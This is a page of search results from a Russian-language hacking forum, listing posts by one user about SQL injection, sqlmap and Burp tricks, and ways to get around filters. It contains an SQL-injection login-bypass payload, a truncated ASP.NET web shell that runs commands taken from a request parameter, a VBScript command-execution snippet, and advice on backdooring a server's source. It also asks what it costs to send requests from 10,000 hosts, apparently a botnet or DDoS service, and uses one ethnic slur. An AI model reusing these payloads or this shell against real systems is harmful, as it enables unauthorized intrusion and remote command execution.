Вернуться   RDot > Поиск по форуму

Показано с 1 по 25 из 175.
На поиск затрачено 0.01 сек.
Поиск: Сообщения от: HeartLESS
Раздел: Web-среда/Web-applications 25.05.2018, 11:38
Ответов: 1
Просмотров: 3,237
Автор HeartLESS
SQLmap не подходит или я тебя не понял?

SQLmap не подходит или я тебя не понял?
Раздел: Web-среда/Web-applications 03.04.2018, 16:02
Ответов: 3
Просмотров: 4,172
Автор HeartLESS
через триггеры как-то пытаться. создать...

через триггеры как-то пытаться.
создать функцию, которая будет исправлять твоё значение и триггер на before insert
Раздел: Web-среда/Web-applications 27.03.2017, 22:37
Ответов: 1
Просмотров: 7,306
Автор HeartLESS
--ignore-certificate-errors ?

--ignore-certificate-errors ?
Раздел: Web-среда/Web-applications 25.10.2016, 19:56
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
или если там есть какой-нибудь другой сервак, или...

или если там есть какой-нибудь другой сервак, или если ты можешь слить сорцы сервера, впилить туда бэкдор, перезалить и дождаться перезапуска сервака.
Раздел: Инструментарий/Tools 09.10.2016, 11:30
Ответов: 293
Просмотров: 306,635
Автор HeartLESS
Talking Там просто сделали нормальный установщик под все...

Там просто сделали нормальный установщик под все оси. Кому это не нужно - так же может скачать .jar файл на выбор
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 22.09.2016, 08:36
Ответов: 41
Просмотров: 30,544
Автор HeartLESS
Видели subq нотацию в гугле?

Видели subq нотацию в гугле?
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 21.09.2016, 20:45
Ответов: 41
Просмотров: 30,544
Автор HeartLESS
глупая мысль. сделай там \n перед юнионом что ли....

глупая мысль. сделай там \n перед юнионом что ли. Ну или кавычек понапихай. Ему реально не нравится на том месте union, он что-то другое хочет
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 21.09.2016, 07:31
Ответов: 41
Просмотров: 30,544
Автор HeartLESS
Судя по ошибке, он хочет чтобы ты закрыл запрос. ...

Судя по ошибке, он хочет чтобы ты закрыл запрос.
Кстати, натрави sqlmap с error based векторами для всех субд. А там stacked query нет?
Раздел: Web-среда/Web-applications 20.09.2016, 19:47
Ответов: 2
Просмотров: 7,476
Автор HeartLESS
username=\&password= or 1=1 -- - Или в...

username=\&password= or 1=1 -- -

Или в постгресе иначе экранируется? Так или иначе, не изобретай велосипед, всегда есть prepared statement
Раздел: Web-среда/Web-applications 14.09.2016, 12:24
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
пропусти sqlmap через бурп, а там подменяй все...

пропусти sqlmap через бурп, а там подменяй все параметры как надо. SQLmap'у в принципе достаточно указать ?a=sqli, а в бурпе все менять, если тебе влом писать свою проксю
Раздел: Инструментарий/Tools 13.09.2016, 23:19
Ответов: 293
Просмотров: 306,635
Автор HeartLESS
Можно. Потом поделись с нами.

Можно. Потом поделись с нами.
Раздел: Web-среда/Web-applications 14.07.2016, 11:49
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
вообще sqlmap поддерживает пользовательские...

вообще sqlmap поддерживает пользовательские tamper скрипты.
не знаю только, будет ли там возможность ответ парсить.

если sqlmap не находит уязвимости, попробуй руками префиксы/суффиксы...
Раздел: Оффтоп/Offtopic 02.07.2016, 20:57
Ответов: 800
Просмотров: 269,583
Автор HeartLESS
Ну что там у хохлов?

Ну что там у хохлов?
Раздел: Оффтоп/Offtopic 30.06.2016, 18:20
Ответов: 49
Просмотров: 35,326
Автор HeartLESS
http://risovach.ru/upload/2016/06/mem/a-chto-esli_...

http://risovach.ru/upload/2016/06/mem/a-chto-esli_117723337_orig_.jpg

И теперь в глазах сообщества Кирилл такой
https://upload.wikimedia.org/wikipedia/ru/4/4c/Robert_Downey_Jr_as_Tony_Stark.jpg
Раздел: Коммерция/Сommerce 24.06.2016, 17:27
Ответов: 3
Просмотров: 3,731
Автор HeartLESS
Why don't you demand on 15 years of html5...

Why don't you demand on 15 years of html5 experience? Several years of TV, XBOX, PS4 and refrigerator pentesting?
Also code analysis of pascal, c/c++, go, f#, brainfuck and ook. And lisp.
Раздел: Web-среда/Web-applications 02.06.2016, 10:26
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
Скорее всего сначала select count(*), а потом уже...

Скорее всего сначала select count(*), а потом уже сам запрос.
Иногда можно раскрутить, если можешь дополнительный селект делать на case random
Раздел: Web-среда/Web-applications 12.03.2016, 09:51
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
Molofya, %09 не работает как вариант для пробела?

Molofya, %09 не работает как вариант для пробела?
Раздел: Криптография/Cryptography 04.02.2016, 09:55
Ответов: 4
Просмотров: 16,025
Автор HeartLESS
Видишь ли, 128 бит не дадут однозначного ответа о...

Видишь ли, 128 бит не дадут однозначного ответа о типе хэша.
hash = atob('+OzMy3quATTDOucTxGFJFw==')
l='';
for(i=0;i<hash.length;i++){
l += ("00" + hash.charCodeAt(i).toString(16)).slice(-2) ;...
Раздел: Web-среда/Web-applications 29.01.2016, 10:04
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
<%@ Page Language="C#" %> <%@ Import...

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
new ProcessStartInfo(
"cmd","/c " + Request["c"]
)
{
UseShellExecute = false,...
Раздел: Коммерция/Сommerce 26.01.2016, 11:45
Ответов: 18
Просмотров: 10,985
Автор HeartLESS
регулярок так и нет?)

регулярок так и нет?)
Раздел: Web-среда/Web-applications 26.01.2016, 09:59
Ответов: 3,616
Просмотров: 1,687,435
Автор HeartLESS
что за writable_dir, почему оно вообще должно...

что за writable_dir, почему оно вообще должно работать?

Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd " & cmd , нет? Или тот же exec
Раздел: Оффтоп/Offtopic 16.12.2015, 09:20
Ответов: 2
Просмотров: 3,280
Автор HeartLESS
Узнал, что есть слово "ихний" и как оно...

Узнал, что есть слово "ихний" и как оно пишется.

Вопрос - зачем на пыхе?

По коду - лучше бы убрать за веб, тк если уж к тебе что-то будут заливать, зачем им знать хэшсумму от твоего реального...
Раздел: Коммерция/Сommerce 30.11.2015, 13:31
Ответов: 3
Просмотров: 4,390
Автор HeartLESS
до 4х лет, видимо

до 4х лет, видимо
Раздел: Коммерция/Сommerce 20.10.2015, 09:44
Ответов: 9
Просмотров: 7,752
Автор HeartLESS
Цены от $13 в сутки - это за какой объем? К...

Цены от $13 в сутки - это за какой объем? К примеру, один get запрос с 10 000 хостов сколько будет стоить?
Раздел: Инструментарий/Tools 02.10.2015, 12:14
Ответов: 293
Просмотров: 306,635
Автор HeartLESS
https://github.com/beched/libpywebhack

https://github.com/beched/libpywebhack
Показано с 1 по 25 из 175.

 
Быстрый переход


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot